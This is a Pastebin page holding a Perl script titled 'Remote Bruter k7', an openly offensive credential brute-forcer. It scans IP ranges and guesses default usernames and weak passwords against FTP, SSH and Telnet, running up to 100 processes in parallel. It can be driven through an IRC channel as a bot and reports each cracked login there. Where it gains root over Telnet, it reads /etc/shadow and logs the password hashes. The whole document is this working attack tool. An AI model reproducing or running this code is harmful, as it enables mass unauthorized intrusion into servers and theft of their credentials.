API tools faq
paste
Advertisement
infodox

sshbot

infodox
Jan 23rd, 2012
729
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 18.19 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2.  
  3. # Remote Bruter k7
  4. # Coded by Giovanni Buzzin, "Osirys"
  5. # WebSite : www.y-osirys.com
  6. # Contacts :
  7. # me[at]y-osirys[dot]com
  8. # osirys[at]autistici[dot]org
  9. # [!] Don't ask -~-~~>> Understand the c0de >>
  10.  
  11. # Get modules at cpan.org
  12.  
  13. use IO::Socket::INET;
  14. use Parallel::ForkManager;
  15. use Net::FTP;
  16. use Net::SSH2;
  17. use Net::Telnet ();
  18.  
  19. ########### CONFIGURATION
  20. ############################
  21.  
  22. ### Standard
  23.  
  24. my %services = (
  25.     'ftp'    => 21,   21   => 'ftp',
  26.     'ssh'    => 22,   22   => 'ssh',
  27.     'telnet' => 23,   23   => 'telnet',
  28. );
  29.  
  30. my $max_proc = 100; # Put here the maximum process for the cracking activity
  31. # If you are using it on a low machine, put a number << 100 (ex: 50)
  32.  
  33. ### Default Usernames/Password for the bruter
  34.  
  35. my @usernames = qw(root admin);
  36. my @passwords = qw(admin root password password1 1234 12345 123456 1234567 12345678 123456789 1234567890 qwert qwerty letmein);
  37.  
  38. ########### Start :D
  39. ############################
  40.  
  41. print q{
  42.   =============================
  43.   |    _ Remote Bruter k7 _   |
  44.   |         by Osirys         |
  45.   =============================
  46. };
  47.  
  48. my $mode = $ARGV[0];
  49.  
  50. CASES : {
  51.             &usage(), last CASES if (!$ARGV[0]);
  52.             $kprint = 0,&bash_mode(), last CASES if ($mode =~ /bash-mode/);
  53.             &usage(), last CASES if (($mode =~ /irc-mode/)&&(!$ARGV[1])|(!$ARGV[2])|(!$ARGV[3])|(!$ARGV[4]));
  54.             $kprint = 1,&irc_mode($ARGV[1],$ARGV[2],$ARGV[3],$ARGV[4]), last CASES if (($mode =~ /irc-mode/)&&(($ARGV[1])||($ARGV[2])||($ARGV[3])||($ARGV[4])));
  55.             &help(), last CASES if ($mode =~ /help/);
  56.         }
  57.  
  58. sub help() {
  59.  
  60. print "                           --- HELP ---                                 \n".
  61.       " If you have a direct command line on the server where you are launching\n".
  62.       " the script, like you are in with a bash shell, you can just use the    \n".
  63.       " bash mode. Unless, if you can't have a direct command line, launch it  \n".
  64.       " in irc-mode, so you will command the script under Irc.                 \n".
  65.       " !! ATTENTION !!                                                        \n".
  66.       " This is a private tool, please, don't distribute it.                   \n".
  67.       " Thank you                                                              \n".
  68.       " By Osirys                                                              \n";
  69.  
  70. };
  71.     &usage;
  72.  
  73.  
  74. sub usage() {
  75.     print "\n\nUsage:\n";
  76.     print " [+] perl $0 bash-mode - FOR A SHELL USE\n";
  77.     print " [+] perl $0 irc-mode server port nick chan - FOR IRC USE\n";
  78.     print " [+] perl $0 help - FOR HELP\n";
  79.     print "[�] Coded by Osirys\n\n";
  80.     exit(1);
  81. }
  82.  
  83. sub bash_mode() {
  84.     open($file, ">", ".tmp.txt");
  85.     print $file "x";
  86.     close($file);
  87.     &help_b;
  88.     chomp($line = <STDIN>);
  89.     cheek($line);
  90. }
  91.  
  92. sub irc_mode() {
  93.     my ($ircd, $port, $nick, $chan) = @_;
  94.     if (fork() == 0) {
  95.         print "\n[+] Connecting on:\nServer/Port: $ircd:$port\nNick: $nick\nChannel: #$chan\n# Coded by Osirys\n\n";
  96.         irc($ircd, $port, $nick, $chan);
  97.     }
  98.     else {
  99.         exit(0);
  100.     }
  101. }
  102.  
  103. sub irc() {
  104.     ($ircd, $port, $nick, $chan) = @_;
  105.     $chan =~ s/(.+?)/\#$1/;
  106.     $c0n = IO::Socket::INET->new(PeerAddr => "$ircd",PeerPort => "$port",Proto => "tcp") || die "[-] Can not connect on $ircd:$port ! Try again later !\n";
  107.     $c0n->autoflush(1);
  108.     print $c0n "NICK $nick\n";
  109.     print $c0n "USER rBruter 8 *  : Osirys\n";
  110.     print $c0n "JOIN $chan\n";
  111.     open($file, ">", ".tmp.txt");
  112.     print $file "x";
  113.     close($file);
  114.     wr($chan,"15,1/_ r_Bruter k7 ready !!");
  115.     wr($chan,"11,1� Coded by Osirys");
  116.     while ($line = <$c0n>) {
  117.         $m00de = "irc";
  118.         $def_var = 0;
  119.         cheek($line);
  120.     }
  121. }
  122.  
  123. sub cheek() {
  124.     my $line = $_[0];
  125.     if ($line =~ /^PING \:(.*)/) {
  126.         print $c0n "PONG :$1";
  127.     }
  128.     elsif ($line =~ /\.help/) {
  129.         if ($kprint == 0) {
  130.             &help_b;
  131.         }
  132.         elsif ($kprint == 1) {
  133.             wr($chan,"9,1.help 4,1>7,1 For Help");
  134.             wr($chan,"9,1.single ip service 4,1>7,1 To start to brute a service on a single ip (Ex: .single 127.0.0.1 ftp");
  135.             wr($chan,"9,1.m-single ip 4,1>7,1 To start to brute all the services activated on a single ip (Ex: !.m-single 127.0.0.1)");
  136.             wr($chan,"9,1.range ip_range service 4,1>7,1 To start to brute a service on a range of ip (Ex: .range 192.168.1 ftp)");
  137.             wr($chan,"9,1.m-range ip_range 4,1>7,1 To start to brute all the services activated on the range of ip (Ex: .m-range 192.168.1)");
  138.             wr($chan,"9,1.services 4,1>7,1 Get the list of the avaiable service to brute");
  139.             wr($chan,"9,1.exit 4,1>7,1 Kill the Bot");
  140.         }
  141.     }
  142.     elsif ($line =~ /\.exit/) {
  143.         print_cheek("[-] Bye Bye!!");
  144.         print $c0n "QUIT";
  145.         exec("pkill perl");
  146.     }
  147.     elsif ($line =~ /\.services/) {
  148.         wr($chan,"11,1[+] Avaiable services");
  149.         wr($chan," 7,1 1 - Ftp Scan    (Port 21)");
  150.         wr($chan," 7,1 2 - Ssh Scan    (Port 22)");
  151.         wr($chan," 7,1 3 - Telnet Scan (Port 23)");
  152.     }
  153.     elsif ($line =~ /\.single ([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3}) (ftp|ssh|telnet)/) {
  154.         my $service = $5;
  155.         if (($1 >= 0)&&($1 <= 255)&&($2 >= 0)&&($2 <= 255)&&($3 >= 0)&&($3 <= 255)&&($4 >= 0)&&($4 <= 255)) {
  156.             my $ip = $1.".".$2.".".$3.".".$4;
  157.             $smode = "single";
  158.             single_scan($ip,$service);
  159.         }
  160.         else {
  161.             print_cheek("[-] Bad ip address");
  162.         }
  163.     }
  164.     elsif ($line =~ /\.m-single ([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/) {
  165.         if (($1 >= 0)&&($1 <= 255)&&($2 >= 0)&&($2 <= 255)&&($3 >= 0)&&($3 <= 255)&&($4 >= 0)&&($4 <= 255)) {
  166.             my $ip = $1.".".$2.".".$3.".".$4;
  167.             $smode = "mass";
  168.             single_scan($ip);
  169.         }
  170.         else {
  171.             print_cheek("[-] Bad ip address");
  172.         }
  173.     }
  174.     elsif ($line =~ /\.range ([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3}) (ftp|ssh|telnet)/) {
  175.         my $service = $4;
  176.         if (($1 >= 0)&&($1 <= 255)&&($2 >= 0)&&($2 <= 255)&&($3 >= 0)&&($3 <= 255)) {
  177.             my $ip = $1.".".$2.".".$3;
  178.             $smode = "s-mass";
  179.             range_scan($ip,$service);
  180.         }
  181.         else {
  182.             print_cheek("[-] Bad ip address");
  183.         }
  184.     }
  185.     elsif ($line =~ /\.m-range ([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/) {
  186.         if (($1 >= 0)&&($1 <= 255)&&($2 >= 0)&&($2 <= 255)&&($3 >= 0)&&($3 <= 255)) {
  187.             my $ip = $1.".".$2.".".$3;
  188.             $smode = "mass";
  189.             range_scan($ip);
  190.         }
  191.         else {
  192.             print_cheek("[-] Bad ip address");
  193.         }
  194.     }
  195.     else {
  196.         if ($kprint == 0) {
  197.             print "[-] Error !\n";
  198.         }
  199.     }
  200. }
  201.  
  202. sub single_scan() {
  203.     my $ip      = $_[0];
  204.     my $service = $_[1];
  205.     if ($smode =~ /single/) {
  206.         $response = port_scan($ip,"single-port",$services{$service});
  207.         $response == 1 || alert("[-] $ip has not the $services{$service} port opened !\n[-] Bruting stopped !");
  208.         $def_var != 1 || return;
  209.         cheek_service($ip,$service);
  210.     }
  211.     elsif ($smode =~ /mass/) {
  212.         @port_t = port_scan($ip,"mass-port");
  213.         while ($p = <@port_t>) {
  214.             cheek_service($ip,$p);
  215.         }
  216.     }
  217. }
  218.  
  219. sub range_scan() {
  220.     my $range   = $_[0];
  221.     my $service = $_[1];
  222.     my $count = 0;
  223.     if ($smode =~ /s-mass/) {
  224.         print_cheek("[+] Creating ip range to brute on ..");
  225.         open($ff, "<", "ip.txt");
  226.         while (my $ip = <$ff>) {
  227.             $ip =~ s/x\.y\.z/$range/;
  228.             $ip =~ s/\n//;
  229.             push(@ips,$ip);
  230.         }
  231.         close($ff);
  232.         print_cheek("[+] Port Scanning for $services{$service} port on $range range started !");
  233.         foreach my $ip(@ips) {
  234.             $count++;
  235.             if ($count %64 == 0) {
  236.                 count_ip($count);
  237.             }
  238.             $response = port_scan($ip,"range-scan",$services{$service});
  239.             if ($response == 1) {
  240.                 cheek_service($ip,$service);
  241.             }
  242.         }
  243.         print_cheek("[-] Range Scan on $range finished !");
  244.     }
  245. }
  246.  
  247. sub cheek_service() {
  248.     my $ip      = $_[0];
  249.     my $service = $_[1];
  250.     if (($service eq $services{21})||($service eq $services{"ftp"})) {
  251.         print_cheek("[+] Ftp Bruting started on $ip:21");
  252.         $out_type = 0;
  253.         $ch = ftp_brute($ip);
  254.         if ($ch == 1) {
  255.             return;
  256.         }
  257.     }
  258.     elsif (($service eq $services{22})||($service eq $services{"ssh"})){
  259.         print_cheek("[+] Ssh Bruting started on $ip:22");
  260.         $out_type = 0;
  261.         $ch = ssh_brute($ip);
  262.         if ($ch == 1) {
  263.             return;
  264.         }
  265.     }
  266.     elsif (($service eq $services{23})||($service eq $services{"telnet"})) {
  267.         print_cheek("[+] Telnet Bruting started on $ip:23");
  268.         $out_type = 1;
  269.         $ch = telnet_brute($ip);
  270.         if ($ch == 1) {
  271.             return;
  272.         }
  273.     }
  274. }
  275.  
  276. sub ftp_brute() {
  277.     my $ip = $_[0];
  278.     foreach my $u(@usernames) {
  279.         my $pm = new Parallel::ForkManager($max_proc);
  280.         foreach my $p(@passwords) {
  281.             $pm->start and next;
  282.             $ftp = Net::FTP->new($ip);
  283.             if ($ftp) {
  284.                 my $banner = $ftp->message;
  285.                 if ($ftp->login($u,$p)) {
  286.                     gotcha("ftp",$ip,$u,$p,$banner);
  287.                 }
  288.             }
  289.             $ftp->quit;
  290.             $pm->finish;
  291.         }
  292.         $pm->wait_all_children;
  293.     }
  294.     cheek_f($ip,"ftp");
  295.     `rm -rf .tmp.txt`;
  296.     open($file, ">", ".tmp.txt");
  297.     print $file "x";
  298.     close($file);
  299.     if (($m00de =~ /irc/)||($smode !~ /single/)) {
  300.         print_cheek("[-] Ftp Bruting finished on $ip:21");
  301.         return;
  302.     }
  303.     else {
  304.         exit(0);
  305.     }
  306. }
  307.  
  308. sub ssh_brute() {
  309.     my $ip = $_[0];
  310.     foreach my $u(@usernames) {
  311.         my $pm = new Parallel::ForkManager($max_proc);
  312.         foreach my $p(@passwords) {
  313.             $pm->start and next;
  314.             $ssh =  Net::SSH2->new();
  315.             if ($ssh->connect($ip)) {
  316.                 if ($ssh->auth(username => $u, password => $p)) {
  317.                     #my $command = $ssh->exec("uname -a");
  318.                     gotcha("ssh",$ip,$u,$p,$command);
  319.                 }
  320.             }
  321.             $pm->finish;
  322.         }
  323.         $pm->wait_all_children;
  324.     }
  325.     cheek_f($ip,"ssh");
  326.     `rm -rf .tmp.txt`;
  327.     open($file, ">", ".tmp.txt");
  328.     print $file "x";
  329.     close($file);
  330.     if (($m00de =~ /irc/)||($smode !~ /single/)) {
  331.         print_cheek("[-] Ssh Bruting finished on $ip:22");
  332.         return;
  333.     }
  334.     else {
  335.         exit(0);
  336.     }
  337. }
  338.  
  339. sub telnet_brute() {
  340.     my $ip = $_[0];$vg0t = 1;
  341.     foreach my $u(@usernames) {
  342.         my $pm = new Parallel::ForkManager($max_proc);
  343.         foreach my $p(@passwords) {
  344.             $pm->start and next;
  345.             $telnet = new Net::Telnet (Host => $ip, Timeout => 5);
  346.             if ($telnet) {
  347.                 if ($telnet->login($u, $p)) {
  348.                     @command = $telnet->cmd("whoami");
  349.                     while (my $e = <@command>) {
  350.                         if ($e eq "root") {
  351.                             @sha = $telnet->cmd("cat /etc/shadow");
  352.                             unshift @sha, 'Root access found ! cat /etc/shadow';
  353.                             gotcha("telnet",$ip,$u,$p,@sha);
  354.                         }
  355.                         else {
  356.                             gotcha("telnet",$ip,$u,$p,@command);
  357.                         }
  358.                     }
  359.                 }
  360.             }
  361.             $telnet->close;
  362.             $pm->finish;
  363.         }
  364.         $pm->wait_all_children;
  365.     }
  366.     cheek_f($ip,"telnet");
  367.     `rm -rf .tmp.txt`;
  368.     open($file, ">", ".tmp.txt");
  369.     print $file "x";
  370.     close($file);
  371.     if (($m00de =~ /irc/)||($smode !~ /single/)) {
  372.         print_cheek("[-] Telnet Bruting finished on $ip:22");
  373.         return;
  374.     }
  375.     else {
  376.         exit(0);
  377.     }
  378. }
  379.  
  380. sub port_scan() {
  381.     my $ip    = $_[0];
  382.     my $mode  = $_[1];
  383.     my $port  = $_[2];
  384.     if ($mode =~ /single-port/) {
  385.         my $socket = IO::Socket::INET->new(PeerAddr => $ip,PeerPort => $port,Proto => "tcp",Timeout => 5) || alert("[-] Can't enstablish a connection with $ip:$port");
  386.         $def_var != 1 || return;
  387.         if ($socket){
  388.             print_cheek("[+] Port $port on $ip is opened, bruting started !");
  389.             $response = 1;
  390.         }
  391.         close $socket;
  392.         return $response;
  393.     }
  394.     elsif ($mode =~ /range-scan/) {
  395.         my $socket = IO::Socket::INET->new(PeerAddr => $ip,PeerPort => $port,Proto => "tcp",Timeout => 2) || return;
  396.         if ($socket){
  397.             print_cheek("[+] Port $port on $ip is opened, bruting started !");
  398.             $response = 1;
  399.         }
  400.         close $socket;
  401.         return $response;
  402.     }
  403.     elsif ($mode =~ /mass-port/) {
  404.         print_cheek("[+] Let's scan for opened ports..");
  405.         foreach my $p(@ports) {
  406.             my $socket = IO::Socket::INET->new(PeerAddr => $ip,PeerPort => $p,Proto => "tcp");
  407.             if ($socket){
  408.                 print_cheek("[+] Port $p on $ip is open");
  409.                 push(@ports_t,$p);
  410.             }
  411.             close $socket;
  412.         }
  413.         return @ports_t;
  414.     }
  415. }
  416.  
  417. sub gotcha() {
  418.     if ($out_type == 0) {
  419.         my $serv = $_[0];
  420.         my $host = $_[1];
  421.         my $user = $_[2];
  422.         my $pass = $_[3];
  423.         $info = $_[4];
  424.         $info =~ s/\n/\. /g;
  425.         open($file, ">>", "log.txt");
  426.         if ($info !~ //) {
  427.             print $file "Session hacked :\n  Host: $host:$services{$serv}\n  Username: $user\n  Password: $pass\n  Info: $info\n\n";
  428.         }
  429.         else {
  430.             print $file "Session hacked :\n  Host: $host:$services{$serv}\n  Username: $user\n  Password: $pass\n  Info: Can't grab more info\n\n";
  431.         }
  432.         close($file);
  433.         open($tmp, ">", ".tmp.txt");
  434.         print $tmp "1\n";
  435.         close($tmp);
  436.         print_cheek("[*] Session Hacked:");
  437.         print_cheek(" Host:     $host:$services{$serv}");
  438.         print_cheek(" Username: $user");
  439.         print_cheek(" Password: $pass");
  440.         if ($info !~ //) {
  441.             print_cheek(" Info: $info");
  442.         }
  443.     }
  444.     elsif ($out_type == 1) {
  445.         ($serv,$host,$user,$pass,@inf0) = @_;
  446.         my $count = 0;
  447.         foreach my $a(@inf0) {
  448.             $count++;
  449.             $a =~ s/\n//;
  450.             push(@inf_o,$a);
  451.         }
  452.         open($file, ">>", "log.txt");
  453.         if ($count > 0) {
  454.             print $file "Session hacked :\n  Host: $host:$services{$serv}\n  Username: $user\n  Password: $pass\n  Info:\n";
  455.             foreach my $i(@inf_o) {
  456.                 print $file "   $i\n";
  457.             }
  458.         }
  459.         else {
  460.             print $file "Session hacked :\n  Host: $host:$services{$serv}\n  Username: $user\n  Password: $pass\n  Info: Can't grab more info\n\n";
  461.         }
  462.         close($file);
  463.         open($tmp, ">", ".tmp.txt");
  464.         print $tmp "1\n";
  465.         close($tmp);
  466.         print_cheek("[*] Session Hacked:");
  467.         print_cheek(" Host:     $host:$services{$serv}");
  468.         print_cheek(" Username: $user");
  469.         print_cheek(" Password: $pass");
  470.         if ($count > 0) {
  471.             print_cheek(" Info:");
  472.             foreach my $i(@inf_o) {
  473.                 print_cheek("  $i");
  474.             }
  475.         }
  476.     }
  477. }
  478.  
  479. sub cheek_f() {
  480.     my $ip      = $_[0];
  481.     my $service = $_[1];
  482.     open($file, "<", ".tmp.txt");
  483.     while (my $a = <$file>) {
  484.         if ($a != 1) {
  485.             print_cheek("[-] Bruting on $ip:$services{$service} failed");
  486.         }
  487.     }
  488. }
  489.  
  490. sub help_b {
  491.     print "[h] Commands and examples :                                                     \n".
  492.           " Ex: .single   127.0.0.1 telnet # Start bruting on 127.0.0.1:23                 \n".
  493.           " Ex: .m-single 127.0.0.1        # Start bruting all active services on 127.0.0.1\n".
  494.           " Ex: .range    192.168.1 ssh    # Start bruting class 192.168.1 on 22 port      \n".
  495.           " Ex: .m-range  192.168.1        # Start bruting all active services on the range\n".
  496.           " ===== Avaiable services                                                        \n".
  497.           "  Ftp Scan     (Port 21)                                                        \n".
  498.           "  Ssh Scan     (Port 22)                                                        \n".
  499.           "  Telnet Scan  (Port 23)                                                        \n".
  500.           " =====                                                                          \n";
  501. }
  502.  
  503. sub count_ip() {
  504.     my $count = $_[0];
  505.     if ($count == 64) {
  506.         print_cheek("[%] 25 % of total scan done !");
  507.     }
  508.     elsif ($count == 128) {
  509.         print_cheek("[%] 50 % of total scan done !");
  510.     }
  511.     elsif ($count == 192) {
  512.         print_cheek("[%] 75 % of total scan done !");
  513.     }
  514.     elsif ($count == 256) {
  515.         print_cheek("[%] 100 % of total scan done !");
  516.     }
  517. }
  518.  
  519. sub print_cheek() {
  520.     my $message    = $_[0];
  521.     if ($kprint == 0) {
  522.         print "$message\n";
  523.     }
  524.     elsif ($kprint == 1) {
  525.         $m3ss = chmess($message);
  526.         wr($chan,$m3ss);
  527.     }
  528. }
  529.  
  530. sub alert() {
  531.     my $message = $_[0];
  532.     if ($kprint == 0) {
  533.         print "$message\n";
  534.         exit(0);
  535.     }
  536.     elsif ($kprint == 1) {
  537.         $def_var = 1;
  538.         $m3ss = chmess($message);
  539.         print $c0n "PRIVMSG $chan :$m3ss\n";
  540.         return;
  541.     }
  542. }
  543.  
  544. sub wr() {
  545.     my $chan = $_[0];
  546.     my $cont = $_[1];
  547.     print $c0n "PRIVMSG $chan :$cont\n";
  548. }
  549.  
  550. sub chmess() {
  551.     my $message = $_[0];
  552.     if ($message =~ /\[%\]|\[i\]/) {
  553.         $m3ss = "7,1".$message."";
  554.     }
  555.     elsif ($message =~ /\[\-\]/) {
  556.         $m3ss = "4,1".$message."";
  557.     }
  558.     elsif ($message =~ /\[\*\]/) {
  559.         $m3ss = "15,1".$message."";
  560.     }
  561.     elsif ($message =~ /^ /) {
  562.         $m3ss = "11,1".$message."";
  563.     }
  564.     elsif ($message =~ /\[\+\]/) {
  565.         $m3ss = "9,1".$message."";
  566.     }
  567.     return $m3ss;
  568. }
  569.  
  570. sub sgot {
  571.     $vg0t = 0;
  572. }
  573.  
  574. ## Copyright (C) 2008 by Osirys
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!